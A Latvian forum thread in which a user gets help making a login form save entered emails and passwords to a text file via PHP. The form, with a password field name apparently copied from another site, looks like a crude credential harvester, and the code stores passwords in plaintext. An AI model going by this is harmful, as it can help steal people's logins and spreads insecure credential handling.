Jump to content
php.lv forumi

kā uztaisīt, lai izdarot sho darbību rakstītais teksts ierakstitos .tx


ricshs

Recommended Posts

<form action="action.php" method="post">

<p>e-pasts: <input type="text" name="e-pasts" /></p>

<p>Parole: <input type="text" name="parole" /></p>

<p><input type="submit" /></p>

</form>

Kā pielabot scriptu, lai ierakstītā lieta ierakstītos txt dokumentā, un submitējot parādītos cita lapa?

Edited by ricshs
Link to comment
Share on other sites

action.php failā:

<?

echo $_POST['e-pasts'];

echo $_POST['parole'];

?>

 

ierakstīt failā:

<?

$fails="meesli.txt";

$atver=fopen($fails, "w");

$raksta=fwrite($atver, $_POST['e-pasts'].'|'.$_POST['parole']);

?>

Link to comment
Share on other sites

Tātad, tagad manā action.php failā ir esošais :

<form action="action.php" method="post">

<p>e-pasts: <input type="text" name="e-pasts" /></p>

<p>Parole: <input type="text" name="parole" /></p>

<p><input type="submit" /></p>

</form>

Bet kur man jālie šis:

<?

$fails="meesli.txt";

$atver=fopen($fails, "w");

$raksta=fwrite($atver, $_POST['e-pasts'].'|'.$_POST['parole']);

?>

Un ko dos, kad action php failā ierakstīs sho :

<?

echo $_POST['e-pasts'];

echo $_POST['parole'];

?>

Link to comment
Share on other sites

Jā, bet man nesanāk, es daru tā, atveru failu- action.php, un kura scriptu var redzēt augstāk un ierakstu vinjā <form action="burti.txt" method="post">

Tagad atveru caur pārlūku savu lapu, kur prasa login un pasw ievadu kkādus ciparus un spiezhu submit, tad atveru failu burti.txt, bet tur nekā nav, kadēļ tā ?

Link to comment
Share on other sites

Tev taa login forma jaieliek forma.html.

forma.html

<form action="action.php" method="post">
<p>e-pasts: <input type="text" name="e-pasts" /></p>
<p>Parole: <input type="text" name="parole" /></p>
<p><input type="submit" /></p>
</form>

 

action.php

<?
$fails="meesli.txt";
$atver=fopen($fails, "w");
$raksta=fwrite($atver, $_POST['e-pasts'].'|'.$_POST['parole']);
echo 'Darbs padarīts. Drīksti iet uz tualeti.';
?>

Link to comment
Share on other sites

Vot, paldies, bet es nedaudz pārveidoju iedoto scriptu, es uzliku, lai , kad ievada paroli rādās zīmes "*****," bet lieta tāda, ka tagad dokumentā meesli.txt nerādās paroles.

Forma html:

 

<form action="action.php" method="post">

<p>e-pasts: <input type="text" name="e-pasts" /></p>

<p>parole: <input name="482fb7adbb" size="23" type="password"><br></p><p><input type="submit" /></p>

</form>

 

Action.php:

<?

$fails="meesli.txt";

$atver=fopen($fails, "w");

$raksta=fwrite($atver, $_POST['e-pasts'].'|'.$_POST['parole']);

echo 'Darbs padarīts. Drīksti iet uz tualeti.';

?>

Kas varētu but nepareizi?

Kad visu ierakstu un submitēju, tad .txt dokumentā tikai ierakstās: [email protected] | bet_neuzradas_parole,_paliek_tuksha_vieta!

Kā to labot?

Edited by ricshs
Link to comment
Share on other sites

×
×
  • Create New...